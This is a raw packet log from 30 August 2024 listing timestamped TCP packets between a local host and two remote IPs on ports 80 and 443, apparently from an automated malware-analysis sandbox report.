Aug 30, 2024 06:17:07.059000969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.059000969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.059009075 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.059011936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.059052944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.059062004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.059070110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.059092999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.059102058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.059109926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.059118032 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.059129000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.059176922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.059230089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.059242964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.059307098 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.059324980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.059443951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.059453011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.059462070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.059534073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.059541941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.059545994 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.059545994 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.059545994 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.059551001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.059561968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.059571028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.059623957 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.059623957 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.061723948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.061733007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.061743975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.061763048 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.061789036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.061789036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.061801910 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.061810970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.061820030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.061831951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.061846018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.061846018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.061857939 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.061870098 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.063039064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.063074112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.063081980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.063128948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.063138962 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.063143969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.063147068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.063162088 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.063173056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.063204050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.063204050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.063204050 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.063906908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.063915968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.063925982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.063951015 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.063961983 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.063983917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.063997984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064007044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064016104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064048052 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.064048052 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.064059973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064075947 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.064121008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064131021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064140081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064147949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064157009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064157963 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.064168930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064177990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064183950 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.064204931 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.064204931 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.064227104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064235926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064249039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064258099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064266920 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.064266920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064266920 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.064277887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064306974 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.064306974 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.064754963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064764977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064773083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064812899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.064812899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.064815998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064826012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064835072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064843893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064858913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064874887 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.064874887 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.064874887 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.064898968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.064908981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064939022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064946890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064975977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.064985037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.065012932 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.065012932 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.065072060 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.065084934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.065093994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.065102100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.065121889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.065121889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.065140963 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.107378006 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.107398987 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.107458115 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.107474089 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.107485056 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.107507944 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.107716084 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.107729912 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.107759953 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.107767105 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.107791901 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.107811928 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.108067989 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.108082056 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.108129025 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.108135939 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.108165026 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.108778954 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.108794928 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.108831882 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.108839035 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.108877897 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.109472990 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.109507084 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.109523058 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.109529018 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.109556913 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.109580040 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.120242119 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.120256901 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.120292902 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.120301008 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.120311022 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.120332003 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.120601892 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.120616913 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.120666027 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.120677948 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.120712996 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.120729923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.120742083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.120754004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.120773077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.120785952 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.120820045 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.120841026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.120851040 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.120861053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.120881081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.120901108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.120901108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.120906115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.120937109 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.120937109 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.121232033 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.121247053 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.121287107 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.121294022 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:07.121330976 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:07.146388054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146399021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146409988 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146430969 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.146450043 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.146555901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146572113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146581888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146593094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146603107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146612883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146625996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146636963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146636963 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.146636963 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.146636963 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.146646976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146656990 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.146657944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146668911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146682024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146683931 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.146692038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146703005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146708012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.146708012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.146714926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146720886 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.146766901 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.146797895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146807909 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146817923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146826029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146847963 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.146847963 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.146869898 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.146977901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.146989107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147000074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147011995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147023916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.147032022 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.147033930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147042990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147053003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147073984 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.147095919 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.147214890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147223949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147255898 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.147259951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147272110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147296906 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.147319078 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.147322893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147332907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147344112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147353888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147376060 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.147376060 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.147507906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147517920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147526979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147572041 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.147600889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147610903 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147622108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147644997 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.147644997 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.147667885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147677898 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.147677898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147711992 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.147711992 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.147844076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147855043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147864103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147880077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147886992 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.147896051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147907972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147919893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.147923946 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.147934914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.147967100 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.147969961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.148013115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.148022890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.148025036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.148060083 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.148060083 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.148088932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.148098946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.148108006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.148118019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.148130894 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.148165941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.148165941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.150177956 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.150187016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.150194883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.150245905 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.150245905 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.150255919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.150265932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.150279045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.150295973 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.150305986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.150317907 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.150317907 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.150397062 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.151849031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.151899099 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.151918888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.151927948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.151958942 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.152018070 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.152271986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.152281046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.152291059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.152299881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.152309895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.152318001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.152331114 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.152331114 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.152355909 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.153213978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153223038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153232098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153266907 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.153266907 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.153291941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153434992 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.153498888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153554916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153564930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153567076 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.153574944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153637886 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.153637886 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.153650045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153695107 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.153842926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153852940 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153861046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153870106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153877974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153887033 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153892040 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.153897047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153906107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153911114 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:07.153917074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153925896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153934002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:07.153944016 CEST	80	49733	147.45.44.104	192.168.2.4
